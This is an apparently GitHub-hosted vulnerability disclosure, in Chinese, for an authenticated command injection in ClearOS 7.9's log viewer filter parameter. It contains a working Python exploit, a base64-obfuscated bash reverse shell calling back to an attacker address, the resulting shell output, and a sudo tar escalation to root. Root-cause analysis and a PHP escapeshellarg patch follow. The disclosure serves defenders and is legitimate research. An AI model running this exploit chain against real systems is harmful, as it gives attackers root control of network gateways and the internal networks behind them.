LazyTitan33/CVE-2026-67599_ClearOS_RCE
GitHub: LazyTitan33/CVE-2026-67599_ClearOS_RCE
该项目是 ClearOS 7.9 日志查看器组件中已认证 OS 命令注入漏洞(CVE-2026-67599)的 PoC 利用代码与详细分析。
Stars: 0 | Forks: 0
# 日志查看器过滤参数中的 OS 命令注入
**软件包:** ClearFoundation
**测试版本:** ClearOS 7.9.1.342252
**漏洞类型:** OS 命令注入 (CWE-78)
**严重程度:** 高
**CVE**: CVE-2026-67599
**CVSS v3.1 向量:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` (评分:7.2)
## 产品描述
ClearOS 是一款基于 CentOS/RHEL 构建的操作系统,旨在为中小型组织提供网络网关、统一威胁管理 (UTM) 平台以及边缘服务器。它主要作为边缘设备运行,负责管理防火墙规则、VPN 连接、路由和核心网络基础设施。
由于 ClearOS 部署在网络外围,像 Webconfig(端口 81)这样的管理接口通常会暴露给管理网段或直接暴露给外部网络。此接口中的命令执行漏洞允许攻击者攻破网关,在边缘获得持久立足点,并直接横向移动到内部网络网段。
## 受影响文件
`/usr/clearos/apps/base/libraries/File.php` — 第 297、314 行
## 根本原因
提交给日志查看器端点的 `filter` 参数在未经过滤的情况下被传递给 `File.php` 中构建的 shell 命令。`$regex` 的值被直接内插到命令字符串中,而不是作为经过正确转义的参数传递,这导致诸如 `$(...)` 或反引号表达式之类的命令替换 payload 能够以 `webconfig` 用户身份执行。
## PoC
我在一次实际的测试中偶然发现了这个问题。这是一个简单的 payload 生成器。
```
#!/usr/bin/python3
import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)
```
反弹 shell 示例(攻击者位于 `.1`,目标位于 `.129`):
```
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"
```
已确认的输出:
```
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
```
通过默认且非常宽松的 sudoers 规则,可以轻松提权至 root:
```
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy
User webconfig may run the following commands on server:
(root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
/usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
/usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
/usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
/usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
/usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
/bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
/usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
/usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
/usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
/usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
/usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
/bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
/usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
/sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname
```
在下面的示例中,使用 `tar` 二进制文件提权至 root:
```
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
```
## 影响
拥有 Reports 访问权限的已通过身份验证的 Web 接口用户,可以导致以 `webconfig` 用户身份执行完整的 OS 级别命令。在默认的 ClearOS 7.9 安装中,`webconfig` 被授予了广泛的 `NOPASSWD` sudo 权限,允许在无需额外凭据的情况下立即提权至 root。攻击者可以获得对底层主机的持久 root 访问权限,包括由该系统管理的所有数据、服务和网络配置。
## 建议修复方案
ClearOS 已处于[生命周期终止](https://en.wikipedia.org/wiki/ClearOS) (End-of-Life)。从 [clearos.com](https://clearos.com) 下载的最新且仍可获取的发行版(版本 ClearOS-7.9.1.342252)追溯到 2021 年 10 月 13 日,并且不接受任何上游维护或安全更新。
正因为如此,下方的代码修复仅仅是一个临时的创可贴。在网络外围运行不受维护的 OS 无异于玩火自焚。强烈建议的前进方向是完全放弃 ClearOS,迁移到受支持的边缘设备或 UTM 平台。
### 临时变通方法(PHP 补丁)
如果您在计划迁移的同时必须保持此主机运行,请在 `/usr/clearos/apps/base/libraries/File.php` 的第 297 和 314 行将 $regex 用 escapeshellarg() 包裹起来,将原本的代码:
```
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,
```
修改为:
```
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,
```
然后重启 webconfig 服务:
```
sudo systemctl restart webconfig
```
标签:CISA项目, Python, 命令注入, 应用安全, 无后门, 红队武器, 逆向工具